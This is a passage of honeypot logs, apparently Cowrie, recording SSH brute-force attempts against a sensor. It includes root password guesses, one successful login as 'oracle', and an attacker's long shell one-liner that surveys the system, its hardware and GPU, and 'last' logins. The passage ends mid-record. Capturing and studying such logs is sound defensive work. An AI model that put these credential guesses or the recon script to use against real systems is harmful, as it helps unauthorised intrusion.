{"eventid":"cowrie.session.connect","src_ip":"14.177.234.24","src_port":56298,"dst_ip":"10.17.0.5","dst_port":22,"session":"07c102143828","protocol":"ssh","message":"New connection: 14.177.234.24:56298 (10.17.0.5:22) [session: 07c102143828]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:52:52.538073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:52:52.542551Z","src_ip":"14.177.234.24","session":"07c102143828","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:52:52.773686Z","src_ip":"14.177.234.24","session":"07c102143828","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345^%$#@!","message":"login attempt [root/12345^%$#@!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:52:53.733215Z","src_ip":"14.177.234.24","session":"07c102143828","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":41452,"dst_ip":"10.17.0.5","dst_port":22,"session":"525d6db7a315","protocol":"ssh","message":"New connection: 91.92.40.4:41452 (10.17.0.5:22) [session: 525d6db7a315]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:52:53.791438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:52:53.795802Z","src_ip":"91.92.40.4","session":"525d6db7a315","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:52:53.877494Z","src_ip":"91.92.40.4","session":"525d6db7a315","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"test321","message":"login attempt [oracle/test321] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:52:54.178072Z","src_ip":"91.92.40.4","session":"525d6db7a315","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:52:54.385719Z","src_ip":"91.92.40.4","session":"525d6db7a315","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:52:54.388443Z","src_ip":"91.92.40.4","session":"525d6db7a315","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:52:54.391391Z","src_ip":"91.92.40.4","session":"525d6db7a315","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:52:54.394382Z","src_ip":"91.92.40.4","session":"525d6db7a315","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/usr/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /usr/bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:52:54.397140Z","src_ip":"91.92.40.4","session":"525d6db7a315","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"busybox uname -s -v -n -m 2 > /dev/null","message":"CMD: busybox uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:52:54.400685Z","src_ip":"91.92.40.4","session":"525d6db7a315","protocol":"ssh"}
{"eventid":"cowrie.command.success","input":"uname -s -v -n -m","message":"Command found: uname -s -v -n -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:52:54.403199Z","src_ip":"91.92.40.4","session":"525d6db7a315","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"( [ -f /proc/version ]","message":"CMD: ( [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:52:54.405815Z","src_ip":"91.92.40.4","session":"525d6db7a315","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /proc/version ]","message":"CMD: [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:52:54.408740Z","src_ip":"91.92.40.4","session":"525d6db7a315","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"head -1 /proc/version | cut -d -f1","message":"CMD: head -1 /proc/version | cut -d -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:52:54.412257Z","src_ip":"91.92.40.4","session":"525d6db7a315","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /etc/os-release ]","message":"CMD: [ -f /etc/os-release ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:52:54.416013Z","src_ip":"91.92.40.4","session":"525d6db7a315","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","size":356,"shasum":"4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:52:54.514755Z","src_ip":"91.92.40.4","session":"525d6db7a315","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:52:54.722425Z","src_ip":"91.92.40.4","session":"525d6db7a315","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:52:54.966460Z","src_ip":"14.177.234.24","session":"07c102143828","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":48548,"dst_ip":"159.203.135.109","dst_port":22,"session":"63edfb2537f1","protocol":"ssh","message":"New connection: 87.251.79.125:48548 (159.203.135.109:22) [session: 63edfb2537f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:53:04.642674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:53:04.647111Z","src_ip":"87.251.79.125","session":"63edfb2537f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:53:04.717554Z","src_ip":"87.251.79.125","session":"63edfb2537f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alladin","message":"login attempt [root/alladin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:53:04.927638Z","src_ip":"87.251.79.125","session":"63edfb2537f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:53:06.001089Z","src_ip":"87.251.79.125","session":"63edfb2537f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":34518,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa52cad6e7b0","protocol":"ssh","message":"New connection: 160.187.174.22:34518 (159.203.135.109:22) [session: aa52cad6e7b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:53:15.170358Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:53:15.177710Z","src_ip":"160.187.174.22","session":"aa52cad6e7b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:53:15.417863Z","src_ip":"160.187.174.22","session":"aa52cad6e7b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"4r3e2w1q","message":"login attempt [root/4r3e2w1q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:53:16.321110Z","src_ip":"160.187.174.22","session":"aa52cad6e7b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:53:17.561544Z","src_ip":"160.187.174.22","session":"aa52cad6e7b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":58008,"dst_ip":"159.203.135.109","dst_port":22,"session":"8683af3e0140","protocol":"ssh","message":"New connection: 103.27.238.114:58008 (159.203.135.109:22) [session: 8683af3e0140]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:53:25.534477Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:53:25.538494Z","src_ip":"103.27.238.114","session":"8683af3e0140","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:53:25.808508Z","src_ip":"103.27.238.114","session":"8683af3e0140","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"snezhana","message":"login attempt [root/snezhana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:53:26.637821Z","src_ip":"103.27.238.114","session":"8683af3e0140","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:53:27.909765Z","src_ip":"103.27.238.114","session":"8683af3e0140","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":36168,"dst_ip":"159.203.135.109","dst_port":23,"session":"da93ee3bb9df","protocol":"telnet","message":"New connection: 170.64.224.25:36168 (159.203.135.109:23) [session: da93ee3bb9df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:53:28.113364Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":41524,"dst_ip":"159.203.135.109","dst_port":22,"session":"334381737ca3","protocol":"ssh","message":"New connection: 160.187.174.22:41524 (159.203.135.109:22) [session: 334381737ca3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:53:43.107125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:53:43.110248Z","src_ip":"160.187.174.22","session":"334381737ca3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 